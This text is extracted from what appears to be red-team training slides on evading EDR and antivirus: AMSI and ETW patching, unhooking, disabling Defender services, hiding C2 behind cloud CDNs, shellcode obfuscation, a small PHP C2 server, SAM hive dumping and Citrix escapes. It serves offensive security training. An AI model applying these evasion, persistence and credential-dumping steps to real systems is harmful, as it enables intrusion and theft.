CreateFile vs NtCreateFile vs ZwCreateFile

178
Gaining Access
CreateFile kernel32.dll

NtCreateFile ntdll.dll

syscall

179
Gaining Access
Nt* and Zw* are the same using Zw* will not defeat
hooks in the Nt* APIs

180
Gaining Access
Zw* is designed to be called from the kernel
Nt* is designed to be called from the userland

181
Gaining Access
Behaviors:
Process correlation:
▪ WinWord.exe -> cmd.exe -> powershell.exe
▪ WinWord.exe Using VBA to register WMI process

Ensure that process tree is not suspicious

182
Gaining Access
Behaviors:
Process path:
▪ C:\windows\system32\cmd.exe
▪ C:\suspicious\cmd.exe
Unexpected process issuing network requests
Unknown process name / registry keys

183
Gaining Access
Heuristics:
AMSI detection based on known malicious strings
AV signature for known hacking tool (non-compiled code)
AV signature for known bad binaries
Blacklisted known binaries
▪ regsvr32.exe
▪ powershell.exe

184
Gaining Access
You can patch known lolbin and change the hash, but it will remain
signed and verified

https://github.com/Mr-Un1k0d3r/Windows-SignedBinary

185
Gaining Access
Hash based:
Known malicious hash
Known Windows binaries that are blacklisted, based on the hash:
▪ regsvr32.exe
▪ regasm.exe
▪ msbuild.exe

Solution: change the hash

186
Gaining Access
WARNING EACH SECURITY PRODUCTS IS WORKING DIFFERENTLY

KERNEL HOOKS VS USERMODE HOOKS

HOOKING THE DESTINATION VS THE SOURCE

https://github.com/Mr-Un1k0d3r/EDRs

187
Gaining Access
Evasion techniques such as renaming may evade a solution. In other
situations, it may trigger alerts

Then the newly created binary can be used instead of the legitimate
msbuild.exe

188
Gaining Access
Evasion techniques such as patching AMSI AmsiScanBuffer API
In certain cases, the patching action may trigger alerts
In certain cases, simply running less suspicious commands will not trigger an alert

189
Gaining Access
▪ Antimalware Scan Interface (AMSI): The Windows Antimalware Scan
Interface (AMSI) is a versatile interface standard that allows your applications and
services to integrate with any antimalware product that's present on a machine
▪ AMSI provides enhanced malware protection for your end-users and their data,
applications, and workloads

190
Gaining Access
Unmanaged powershell is not loading AMSI

Only when the System.Management.Automation.dll Invoke is called


ASMI will be loaded

Same goes with Assembly.Load etc…

C# does not load AMSI by default

191
Gaining Access
There is several tool that “bypass” AMSI but truly don’t do much since
AMSI is not loaded in the current context
You want to know if AMSI is loaded, list all the loaded Dlls; you are
looking for amsi.dll
A simple trick can be used to unload it (work with EDR Dlls too)

FreeLibrary("amsi.dll");

As shown earlier it can be patched too (AmsiScanBuffer)


192
Gaining Access
Example of a C# program

193
Gaining Access

194
Gaining Access
Powershell.exe

195
Gaining Access
Unmanaged powershell?

196
Gaining Access

197
Gaining Access
Unmanaged powershell
Pipeline p = r.CreatePipeline(); does not load
amsi.dll
Importing
System.Management.Automation.Runspaces
does not load amsi.dll
Calling Runspace r =
RunspaceFactory.CreateRunspace(); does not
load amsi.dll
The call that trigger the load of AMSI is the
Invoke()

198
Gaining Access
If you are going to patch AMSI, make sure you
patch it before the call that will load it

199
Gaining Access
The language used to develop your payload may make a difference
You can obfuscate your final stage using language such as:
▪ Go
▪ Rust
▪ JavaScript
▪ Python to exe
▪ Nim (https://github.com/byt3bl33d3r/OffensiveNim)
▪ or your favorite language

200
Gaining Access
Quick note on staged vs stageless
▪ A stager is a simple shellcode that usually connects back to a host and
downloads the second stage
▪ A stageless payload contains all the malicious payload and does not
perform a second download to get the core code

201
Gaining Access
Meterpreter is a perfect example:
The staged version of it works using the following approach:

202
Gaining Access
Meterpreter is a perfect example:
The stageless version of it works using the following approach:

203
Gaining Access
Stageless:

PROS:
▪ No second stage downloaded over the network that can be captured with
network filter
▪ You can obfuscate the whole RAT

204
Gaining Access
Stageless:

CONS:
▪ Bigger payload
▪ May not work depending on the vectors because of size limitation

205
Gaining Access
Staged:

PROS:
▪ Simple and small payload
▪ Can wrap with other techniques easily

206
Gaining Access
Staged:

CONS:
▪ Download over the network (dll in clear)

207
Gaining Access
Evasion VS Obfuscation

Evasion:
if(user == “Charles”) { do bad }

Obfuscation:
var user = 0x436861726c6573;

208
Exercise
Bypass AMSI by
obfuscating your
favorite powershell
code
Gaining Access
This code is detected by AMSI

210
Gaining Access
Obfuscate your payload; in this case, the base64

211
Gaining Access
Replace letters that are the most common in the base64 blob of data in
this case ‘N’ and ‘B’
Break the base64 data using arbitrary symbol

212
Gaining Access
Want to figure out if your code is triggering AMSI:

https://github.com/RythmStick/AMSITrigger

213
Exercise
Confirm that the code
does not trigger AMSI
anymore by obfuscating
some Powershell
Gaining Access
Quick note on DLLs:
https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-
library-best-practices

NEVER PUT YOUR CODE IN THE DllMain

215
Gaining Access
Dlls Hell

216
Gaining Access
So how does reflective DLL work then?

Export DllMain() {
}

Export ReflectiveLoad() {
}

rundll32.exe malicious.dll,ReflectiveLoad

217
Gaining Access
Not perfect but work most of the time:
https://github.com/Mr-Un1k0d3r/DLLsForHackers

int __cdecl system(const char *Command)


intptr_t __cdecl spawnvpe(int Mode, const char *Filename, const char *const *ArgList, const char *const *Env)
intptr_t __cdecl spawnve(int Mode, const char *Filename, const char *const *ArgList, const char *const *Env)
signed __int64 __fastcall comexecmd_0(unsigned int a1, __int64 a2, __int64 a3, __int64 a4)
signed __int64 __fastcall dospawn(signed int a1, const CHAR *a2, __int64 a3, void *a4)
BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, ...)

218
Gaining Access
Inspecting was is going in the background is also really important to
improve your understanding of the underlying magic

API Monitor is tool that can help you


http://www.rohitab.com/apimonitor

API Monitor is a free software that lets you monitor and control API
calls made by applications and services
Its a powerful tool for seeing how applications and services work or for
tracking down problems that you have in your own applications

219
Gaining Access

220
Gaining Access
Setting up your infrastructure is important

Cloud service can be used to proxy your network traffic

221
Gaining Access
Why would you use the cloud
The domain are trusted and NOT newly registered
Most of the corporate proxy will allow them since everything is in the cloud

AWS: *amazonaws.com
Azure: *azureedge.net, *.azurefd.net etc..

Your target likely have service running in one of the two

222
Gaining Access
Azure offer CDN feature that can be used to “hide” your true domain
Once you access the portal (https://portal.azure.com), I recommend
using the search because the UI is a mess

223
Gaining Access
Keep in mind this can be used for domain fronting, but we are not
doing domain fronting here, since Azure is clear about the fact that it is
NOT allowed anymore

All we are doing is “Hiding” our server behind an Azure service

224
Gaining Access
Create a new instance

225
Gaining Access

226
Gaining Access
REALLY IMPORTANT DISABLE CACHING

227
Gaining Access
Azure allow you by default to do geofencing and much more

Once you are set, you can set your Cobalt Strike to
mrun1k0d3r.azureedge.net which point to your C2 server IP, under the
hood

228
Gaining Access
Rather use AWS instead of Azure. Sure!

You can use lambda to forward network to your host


https://blog.xpnsec.com/aws-lambda-redirector/

With a bit of code, you can have your server assigned to


[random].execute-api.us-east-1.amazonaws.com

Once again, you will have a domain in front of your server that is
trustable
229
Gaining Access
You want a good profile:
Echo Mirage MITM, a legit application, and duplicate the traffic

230
Gaining Access
From pcap to Cobalt Strike profile

231
Gaining Access
Looking for a nice profile?

Pick one of your favorite corporate applications that send traffic over the Internet such as:

▪ SharePoint

▪ Teams

▪ Office

You can use WireShark to sniff the traffic or a web proxy.

232
Gaining Access

233
Gaining Access
Let’s deal with the host first

Register res-cdn-office.azureedge.net

234
Gaining Access
For the profile set the URI to

Set the headers

235
Gaining Access
On the server side

Let’s prepend and append the SVG structure

236
Gaining Access
When the beacon will callback, it will look like the server is returning
an SVG file due to the profile we created

237
Gaining Access

IN CONCLUSION DESIGNING PAYLOAD TAKE CREATE YOUR OWN LAB CODE CODE CODE
TIME, RESEARCH AND PLAY WITH THE SECURITY
TEST PRODUCT

238
15 minutes break
What is an EDR, XDR or NDR?
Endpoint detection & response relies on the following to detect
malicious activities:
▪ AMSI
▪ ETW & ETW Ti
▪ “Machine Learning”
▪ Sandboxes
▪ Kernel callbacks
▪ User Mode Hooking
▪ Killing the EDR
▪ Alternative to get your code running

240
Defeating AMSI
What is AMSI
AMSI is according to Microsoft:
The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your
applications and services to integrate with any antimalware product that's present on a machine. AMSI
provides enhanced malware protection for your end-users and their data, applications, and workloads.

241
Defeating AMSI
DEFEATING AMSI using obfuscation

242
Defeating AMSI
DEFEATING AMSI by patching AMSISCANBUFFER API

243
Defeating AMSI
DEFEATING AMSI by patching AMSISCANBUFFER API USING A
SINGLE BYTE APPROACH

244
Defeating AMSI
DEFEATING AMSI By patching AMSISCANBUFFER API USING A
SINGLE BYTE APPROACH
amsi.dll export address table

245
Defeating AMSI
DEFEATING AMSI By patching AMSISCANBUFFER API USING A
SINGLE BYTE APPROACH

246
Defeating AMSI
DEFEATING AMSI by patching AMSISCANBUFFER API using a
single byte approach
rbx is pointing to the first argument passed to the function

the AMSICONTEXT structure first bytes are the magic bytes AKA AMSI

247
Defeating AMSI
DEFEATING AMSI by patching AMSISCANBUFFER API using a
single byte approach
Simply put, the function validate the AMSI context provided it is valid
As an attacker we can patch the jump condition to always fail the check

248
Defeating AMSI
DEFEATING AMSI by patching AMSISCANBUFFER API using a
single byte approach

Notice the use of GetProcAddress, LoadLibrary and VirtualProtect, EDR may monitor
these calls
249
Defeating ETW
WHAT IS ETW
According to Microsoft ETW is:
Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-
mode applications and kernel-mode drivers. ETW is implemented in the Windows operating system and
provides developers a fast, reliable, and versatile set of event tracing features.

source Microsoft

250
Defeating ETW
Patching user mode API for ETW
Like AMSI, the classic patch relies on patching the EtwEventWrite API ntdll.dll

251
Defeating ETW
PATCH ETWEVENTWRITE API

NtTraceEvent is the syscall to enter


the kernel

252
Defeating ETW
WHAT IS ETW
Nt* APIs are usually the lowest functions before a syscall will be issued

253
Defeating ETW
PATCHING Nttraceevent
NtTraceEvent is hiding all over the place

254
Defeating ETW
PATCHING Nttraceevent
Patching the NtTraceEvent function and make it simply return without actually
executing the syscall

Another one byte patch

255
Defeating ETW
ETW PROVIDERS
ETW also relies on providers with administrative right; you can free most of the
providers
https://github.com/jthuraisamy/TelemetrySourcerer

256
Defeating ETW
ETW PROVIDERS
Under the hood, the stop session is getting a handle on the ETW provider and call the
EnableTraceEx2 API using the EVENT_CONTROL_CODE_DISABLE_PROVIDER flag

257
Defeating ETW
The EVIL TWIN
User mode is nice but the kernel also
have some ETW
These can be found in ntoskrnl.exe
Let me introduce the:
ETW Thread Intelligence

258
Defeating ETW
The EVIL TWIN
You can view the event
monitored using EtwExplorer
https://github.com/zodiacon/EtwExplorer

259
Defeating ETW
The EVIL TWIN
NtReadVirtualMemory kernel
implementation eventually calls
MiReadWriteVirtualMemory which is
calling ETWTiLogReadWriteVm
You cannot patch this kind of call from
user mode, sadly
But, if you get kernel code exécution,
same concept can be applied

260
Defeating “Machine Learning”
As an attacker do we have options?
A classic example of dump the SAM & SYSTEM

reg save HKLM\SYSTEM system.save


reg save HKLM\SAM sam.save

261
Defeating “Machine Learning”
As an attacker do we have options?

262
Defeating “Machine Learning”
As an attacker do we have options?

263
Defeating “Machine Learning”
As an attacker do we have options?

264
Defeating “Machine Learning”
Remotely executing code?

DCERPC is quite powerful, you can achieve pretty much everything over RPC

For example how secretdumps.py actually work?

265
Defeating “Machine Learning”
Remotely executing code?

https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RRP/%5bMS-RRP%5d.pdf

266
Defeating “Machine Learning”
CHAINING VARIOUS TRICK

Use the AppDomain trick to load your payload within Update.exe - kindly signed by
Microsoft

267
Defeating “Machine Learning”
CHAINING VARIOUS TRICK

Then you do your internal reconnaissance. And…

268
Defeating “Machine Learning”
CHAINING VARIOUS TRICK

“Trusted” binary calling back a “shady” domain and connecting to service like kerberos
and SMB
How can we break the chain?

One process that takes care of the outbound network communication


One process taking care of the internal reconnaissance and forward the information

269
Defeating “Machine Learning”
CHAINING VARIOUS TRICK

Using tool such as Cobalt Strike makes this fairly easy

▪ Update.exe callback to your domain


▪ Spawn a SMB beacon on the system
▪ Link the SMB beacon to your HTTPS beacon (on the same host or through another
one you have already compromised)
▪ Do all the reconnaissance on the SMB beacon

270
Defeating “Machine Learning”
CHAINING VARIOUS TRICK

Abuse of Microsoft own features:


Signed binary and signed scripts
Microsoft Defender has plenty of
PowerShell scripts that can be used to
execute code and they are signed

https://github.com/Mr-Un1k0d3r/ATP-PowerShell-Scripts

271
Defeating “Machine Learning”
CHAINING VARIOUS TRICK

These scripts export functionalities such as:

272
Defeating “Machine Learning”
CHAINING VARIOUS TRICK

We now have a bring your own Microsoft signed scripts on the target.

273
Defeating “Sandboxing”
Assess if the interaction is human, not if it’s automated

Your phishing payload was executed by a user: you would expect some interaction on the system
Monitor foreground window activity

274
Defeating “Sandboxing”
Assess if the interaction is human, not if it’s automated

You can also monitor for:


▪ Process check Chrome, Outlook etc...
▪ Mouse, Keyboard and other peripherals
▪ Number of DNS queries
▪ …

The goal is to avoid automated escalation detection

275
Defeating “Sandboxing”
HIDE YOUR PHISHING PAYLOAD FROM CRAWLER

mouseover event can be used to


trigger code change at runtime
In this case the script also expect
movement over the body not just an
automated click

276
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?

kernel32!OpenProcess
kernelbase!OpenProcess
ntdll!NtOpenProcess
syscall 0x26

277
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?

To revert it back to the original state, we need 11 bytes

https://github.com/Mr-Un1k0d3r/EDRs

278
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?

Revert back the ntdll.dll content back to the original state

279
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?

You can also completely reimplement the syscall on your own like syswhisper.
https://github.com/klezVirus/SysWhispers3

280
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?

281
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?

To unhook, you need to modify the memory permission using


NtProtectVirtualMemory, which is hooked itself
You need to be clever when you changer permission
NtProtectVirtualMemory is at 0x9ceb0
ZwIsProcessInJob is at 0x9ce90
Call VirtualProtect(addr of ZwIsProcessInJob, size = 0x20 + size needed in
NtProtect)

282
Defeating “User Mode Hooking”
REMOVE IT OR HIDE FROM IT?

You can also map the dll from disk and update the PEB Ldr Module list to point to
the freshly mapped file using CreateFileMapping and MapViewOfFile APIs
Certain EDR will trigger an alert based on the address used for the mapped file and the
module stomping

283
Defeating “User Mode Hooking”
IAT HooKS?

Executable use the IAT Import


Address Table to map Windows API
call
The table can be hooked by EDR
Solution? Direct Windows API call
PEB -> Ldr -> kernel32.dll -> export
table parsing to get real API address

284
Defeating “User Mode Hooking”
IAT HooKS?

Get the PEB


NtCrrentTeb()-
>ProcessEnvironmentBlock;
Or obfuscate it a bit to hide the
▪ fs:[0x30]
▪ gs:[0x60]

285
Defeating “User Mode Hooking”
IAT HooKS?

286
Defeating “User Mode Hooking”
IAT HooKS?

287
Defeating kernel callback
KERNEL callback?

There is plenty of options available for EDRs

288
Defeating kernel callback
KERNEL callback?

There is also other minifilters that can be registered. Telemetry Sourcerer can be
used to list them
https://github.com/jthuraisamy/TelemetrySourcerer
In this case a popular edrs had callback registered
for pretty much everything

289
Defeating kernel callback
KERNEL callback?

C2 may use namedpipe for interprocess communication or remote communication


(SMB beacon)

What about avoiding namedpipe? Let me introduce MailSlot APIs

290
Defeating kernel callback
KERNEL callback?

WARNING
Mailslot message cannot be bigger
than 424 bytes
But EDRs usually do not monitor
the APIs

291
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?

At the end of the day EDRs are running software on the endpoint you have access
to.

https://github.com/Mr-Un1k0d3r/EDRs/blob/main/elevate_to_system_or_trustedinsaller.c

292
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?

You can impersonate the TrustedInstaller privilege, but duplicating the service
token and get the group

293
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?

With the TrustedInstaller privilege you can tamper the registry key associated with
the services

294
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?

Remove the ImagePath and set Start to 0x4 for the following services:
▪ Sense
▪ WdBoot
▪ WinDefend
▪ WdNisDrv
▪ WdNisSvc

Reboot and enjoy

295
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?

There is a problem, the EDR will flag the registry tampering


Most EDRs are cloud based, which means they need to send the information to
the cloud
You can monitor the network traffic using Network Monitor (Signed by Microsoft)
https://www.microsoft.com/en-ca/download/details.aspx?id=4865

296
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?

297
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?

One last problem: the firewall may


not be enabled locally, due to
managed policy

298
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?

Create a local administrative


account to enforce the local policy
instead of the domain

299
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?

Quick summary:
▪ Create a local administrative account to enforce the local policy
▪ Block the EDR network range
▪ Disable the service
▪ Reboot
▪ Enjoy

300
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?

Some EDR prevent tampering from the kernel


You can bring your own vulnerable driver to compromise the kernel and remove
the kernel callback
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

Drivers tend to be poorly designed; there are vulnerabilities all over the place

301
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?

Hunting for MmMapIoSpace in a driver export is a good start

Virtual to physical memory mapped in the kernel; they cannot be paged out

302
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?

Remember these kernel callback


Once you have kernel code execution,
you can modify the callbacks

Kernel code is hard, there is a bit of a


learning curve

303
Attacking the EDR Core Values
Instead of bypassing it, why not destroying it?

EDRSandBlast

Abuse of read/write primitive in the followings drivers:


▪ RTCore64.sys
▪ DBUtils_2_3.sys

https://github.com/wavestone-cdt/EDRSandblast

304
Alternative to Evade EDRs
Do we need shellcode?

Short answer we don’t


Cobalt Strike was build on Metasploit Meterpreter which was an exploitation
framework
Stage0 using shellcode was useful in an exploitation context
“Modern” Red Team are usually deploying code on the target system
Your implant can be written in C#, or C, or Nim, or whatever make you happy and
implement the features you need directly

305
Alternative to Evade EDRs
Do we need shellcode?

I personally use a C# implant that execute in memory .Net exe; Each command is a
.Net module

306
Alternative to Evade EDRs
Do we need shellcode?

You may want to patch AMSI and ETW since .Load will end up loading AMSI on
your byte[] assembly

307
Alternative to Evade EDRs
Do we need shellcode?

After the Assembly.Load was called

308
Alternative to Evade EDRs
WHAT you need to learn about?

▪ Memory permission RWX memory is bad (Image, Private, Mapped)


▪ PEB.LDR module override address location
▪ Arguments passed to Windows functions (stack spoofing)
▪ Shellcode obfuscation: hiding the fs:0x30 or gs:0x30 call
▪ How reflective loading works (Pretty much a self LoadLibraryA/W
reimplementation)
▪ Hookings (Sleep Hooking or other ideas)

309
Alternative to Evade EDRs
WHAT you need to learn about?

▪ How LoadLibraryA/W work under the hood


▪ ntdll!LdrLoadDll
▪ ntdll!LdrpInitializeDllPath
▪ ntdll!LdrpLogDllStateEx2
▪ ntdll!LdrpLogEtwEvent
▪ ntdll!NtTraceEvent

310
Alternative to Evade EDRs
WHAT you need to learn about?

So RWX memory and patching memory is dangerous


Yes and no, but if you want to be extra careful, you can use of hardware
breakpoint to alter the memory

▪ https://github.com/rad9800/hwbp4mw

▪ https://github.com/rad9800/misc/blob/main/NtTraceEvent.c

311
Payload Crafting
This is a quick overview of some of the tricks that can be used to create
payloads
Shameless plug: if you are curious in the coding aspect of a red team, I
highly recommend registering to my patreon

More than 100 hours or videos about offensive coding

https://mr.un1k0d3r.online/portal/
https://patreon.com/MrUn1k0d3r
312
Payload Crafting
Keep in mind that EDR may not hook the same APIs.
You can validate which one are hooked using the hook_finder64

https://github.com/Mr-Un1k0d3r/EDRs/blob/main/hook_finder64.c

313
Payload Crafting
Most Nt* API will require an OBJECT_ATTRIBUTE that needs to be
initialized manually in your code

Source code: https://mr.un1k0d3r.online/training/source/syscall.c

314
Payload Crafting
I personally prefer patching the Nt* instead of using direct syscall,
because of the lack of documentation, but luckily, there are a lot of
cool projects such as syswhisper

https://github.com/jthuraisamy/SysWhispers

315
Payload Crafting
PROS:
▪ Pretty efficient usermode hook bypass
▪ No need to change memory permission
CONS:
▪ Lack of documentation
▪ Hard to code

316
Payload Crafting
Your stage 0 should be as simple as possible and used as recon before
you drop your full RAT

For your stage 0 you need:


▪ in and out data transport
▪ Simple command execution (avoiding cmd.exe etc…)

317
Payload Crafting
Source code: https://mr.un1k0d3r.online/training/source/http_c2.cs

Ignoring the cert is the first step

318
Payload Crafting
Creating your network query method

319
Payload Crafting
Getting the data:
▪ Send a request and get the response as the
data to process
▪ Execute the data received as .Net code

320
Payload Crafting
Assembly.Loadcan receive a string,
and load the exe from it

321
Payload Crafting
The main part of the code

322
Payload Crafting
Only thing left is to host your recon .net code on the remote server.

<?php
if(strpos($_SERVER["HTTP_USER_AGENT"], "ringzer0") !== false) {

$data = file_get_contents("php://input");
if(!empty($data)) {
// save output of a command to a file
file_put_contents("/tmp/output.c2", $data, FILE_APPEND);
} else {
// deliver payload
echo base64_encode(file_get_contents("bin.exe"));
}
}
?>

Source code: https://mr.un1k0d3r.online/training/source/c2.php.txt


323
Payload Crafting

Quick trick to avoid automated


tool to fetch your payloads
if(strpos($_SERVER["HTTP_USER_AGENT"], "ringzer0") !== false)

324
Payload Crafting
You now have a fully functional RAT that execute
assembly in memory

We will cover which kind information you should gather


in the next section

325
Payload Crafting
Your payload will be inspected by EDR & AV and other security product
Obfuscation is designed to get you landed where you want to; it does not defeat
runtime analysis

Classic techniques:

▪ Encrypting the shellcode with a XOR loop

▪ Encrypting the shellcode using RC4

▪ Encrypting the shellcode using AES

▪ Gzipping, Base64 the shellcode


326
Payload Crafting
What if our code had none of the following characteristics and a fairly
good entropy?

Randomness of the code can be evaluated giving an entropy score


based on the score
▪ It is possible to evaluate the chance of a sample being encrypted or
obfuscated

Legit code usually is not THAT random

327
Payload Crafting
With that in mind, lets think of how we can represent our shellcode

We know that we have bytes from 0x00 to 0xff in there (256


possibilities)

328
Payload Crafting
You will end up with a list of word, tied to an index

Our shellcode is 0x00, 0x02, 0x01, 0x00, 0x00, 0x01

table = {"first" , "second" , "third"};

mapping = {"first" , "third" , "second", "first", "first",


"second"};

This will produce decent entropy due to the use of words and none of the
« known » patterns are present in the code
329
Payload Crafting
All we have to do is map the word to the index to retrieve the original
byte

C# is kind enough to provide the following method:

Array.IndexOf(table, needle);

330
Payload Crafting

331
Payload Crafting
This will produce a final executable of 3 to 4 Mb; which is also nice,
since some engine will not even bother analyzing bigger file

Since it was written in .Net, we can pass this file to our .Net stage 0
which is accepting arbitrary assembly to be loaded through
Assembly.Load()

332
Payload Crafting
https://github.com/Mr-Un1k0d3r/MiniDump

https://github.com/Mr-Un1k0d3r/MiniDump/blob/master/dump.c

VS
https://github.com/Mr-Un1k0d3r/MiniDump/blob/master/safe-against-edr-
minidump64.c

333
Payload Crafting
Revisiting your classic: Msbuild.exe

You think everything that was possible is


already public, be creative
msbuild.exe csproj file are XML file…
That execute C# code
https://github.com/Mr-Un1k0d3r/PowerLessShell

334
Payload Crafting
Detection is “easy”, since the C# is in clear

Why not using XML concept to hide the payload


using ENTITY to HTML encode the whole C#

Same technique 0 on disk detection, because you


have another layer of obfuscation on top of the
original toolset

335
15 minutes break
Internal Reconnaissance
▪ Process listing should be the first command you run

▪ This will confirm if there is another user of interest running on the


host

▪ It will confirm which security product is running on the system

337
Internal Reconnaissance
In addition to process listing, dumping services may be useful
Cobalt Strike command ps can be used
More information can be retrieved using WMIC

Services information can also be retrieved through WMIC

338
Internal Reconnaissance
Remember our simple stage 0 RAT?
Listing process in C#

339
Internal Reconnaissance

You can reimplement pretty much all of the


Windows command in C and C# to avoid
using cmd.exe /c …

340
Internal Reconnaissance
Services listing will help you confirm if there are
security solutions running on the host
It may also reveal custom services

341
Internal Reconnaissance
If you enjoy reverse engineering, you can try to reverse the service and
find potential vulnerabilities or embedded credentials

Real life example:


The company wants to save energy, so they force shutdown
workstations at midnight; the service is sending information to a server
and the credentials used are embedded in the binary

342
Internal Reconnaissance
Quick reverse engineering tips:
If the binary file is a .NET file, use dnSpy:
▪ https://github.com/0xd4d/dnSpy/releases

If it is a native executable:
▪ xdbg64 https://x64dbg.com
▪ IDA (freeware or PRO if you have a license) https://www.hex-
rays.com/products/ida/support/download_freeware.shtml
▪ Ghidra https://www.nsa.gov/resources/everyone/ghidra/

343
Exercise
Find the password
in the custom
application
Internal Reconnaissance
Challenge URL: https://mr.un1k0d3r.online/training/source/Corpo.exe

345
Internal Reconnaissance
static VS runtime debugging

346
Internal Reconnaissance
dnSpy live debugging

Add a breakpoint on DoCorpo

Step over until the decryption is


completed

347
Internal Reconnaissance
Once the call to DecryptStringFromBytes_Aes is completed, simply
inspect the variable in the debugger

348
Internal
Reconnaissance
▪ You have your shell and you are ready to discover what
is going on in the network

▪ Dump all the users and emails

▪ Powershell https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scri
pts/Utility.ps1

▪ CSharp https://github.com/Mr-
Un1k0d3r/RedTeamCSharpScripts/blob/master/ldaputi
lity.exe

349
Internal Reconnaissance
The idea is to make sure you have the biggest sample as possible, in
case you loose access

You can refine your future phishing or password spraying

350
Internal Reconnaissance
You want to make sure to have emails and users to be able to perform:
▪ Password spraying against a bigger set of users
▪ Potentially target more employees, in case you lose access to the network

When dumping users, try to include the description; that may help you target
valuable assets
Password spraying should be performed against a small group of users that are
valuable

351
Internal Reconnaissance
Usually if you gained access through a phishing campaign, your shell is
most likely running on a workstation
Capturing keystrokes and screenshots may help you ensure the security
team is not interacting with the victim
Screenshot may also reveal applications used by the user and sensitive
information
Keystrokes may also provide password for free

352
Internal Reconnaissance
Workstation may also provide valuable information:
Dumping the browser homepage usually points to the intranet
https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Get-
BrowserHomepage.ps1

Bookmarks may reveal internal portal that can be used to perform lateral
movement

https://github.com/Mr-
Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Get-
IEBookmarks.ps1

353
Internal Reconnaissance
A Socks proxy can be used to connect to the intranet and gather
information about their internally exposed services
They may have a Citrix portal internally that may allow you to connect
with the user you compromised; once you launch the Citrix application,
you may find a Citrix escape and compromise a server

Extra point for Citrix: the server is usually less protected than the
endpoints

354
Internal Reconnaissance
The most typical Citrix escape
relies on the open or save
window. If you have office
software published, you can
escape the “sandbox”
Right click to create a file
Then right click on the file and
rename it with a “.bat”
extension

355
Internal Reconnaissance
Right click again to edit the file Add the command you want
to run

Right click and click


Open to run the bat file

mysite\charles.hamilton

356
Internal Reconnaissance
Citrix in the wild

357
Internal Reconnaissance
If you can browse the
Internet through a link in
the Citrix application, you
have access to a shell
using the “file://” url
handler

358
Internal Reconnaissance
Internal Citrix are also great, because you can leverage internal
password spraying to access the Internal Citrix and compromise
internal servers

Internal Citrix instance tend to have MFA disabled

359
Internal Reconnaissance
Quick note on Citrix:

Citrix exposes a shared folder with all the users’ profiles. If you have
admin access or the permission are misconfigured, you can update the
data pushed on the Citrix client

Copying a binary in the startup folder of the profile will execute it on


the targeted user session

360
Internal Reconnaissance
Other commands of interest that may help perform reconnaissance at the network
level:
▪ route print: Discover other networks
▪ nslookup DOMAIN: Discover server’s range. Nslookup on the domain will return
DCs
▪ nltest /dclist:DOMAIN: List DCs including RODC and PDC. PDC may be in a more
critical subnet
▪ netstat –an | netstat –a: List currently established connection
▪ ipconfig /all: Gather information about the networking interface. You may find a
VPN tunnel already established to their sensitive network

361
Exercise
Analyse the output of
the network recon
commands
Internal Reconnaissance
nslookup %USERDOMAIN% will return all the DCs

Or using C#:
▪ Dns.GetHostByName
▪ Dns.Resolve

363
Internal Reconnaissance
Other commands of interest that may help perform reconnaissance
regarding the network:

NOTE THAT THESE ARE NOT EXTREMELY STEALTH BUT PROVIDE GOOD
VISIBILITY

BloodHound, SharpHound and PowerView allow you to gather


information about users, computers, sessions, and groups

364
Internal Reconnaissance
You can implement most of the features as standalone utility:
▪ Get user LDAP (&(objectCategory=user)

▪ Get computers LDAP (&(objectCategory=computer)

▪ Get groups (&(objectCategory=group)

▪ Get sessions Windows API NetSessionEnum

▪ Get local admin Windows API NetLocalGroupGetMembers

365
Internal Reconnaissance

BloodHound utility provides a lot of Same goes with PowerView, there are
options. make sure you carefully pick the tons of commands that can be extremely
one that will remain as stealth as possible useful, but extremely noisy
based on your prior understanding of the
network

366
Internal Reconnaissance
Querying sessions on the remote system:
▪ You query the remote system

for(computer) {
query computer
}

▪ You are going to connect to a lot of assets

367
Internal Reconnaissance
PowerView can be used to retrieve list of local groups and users that
possess local administrative privileges

PS> Get-NetComputer | Get-NetLocalGroup

This command will retrieve the list of computers and then connect to
each of them asking for groups. This relies on the
NetLocalGroupGetMembers API

368
Internal Reconnaissance
User granted with local administrator privileges Group granting local administrative privileges

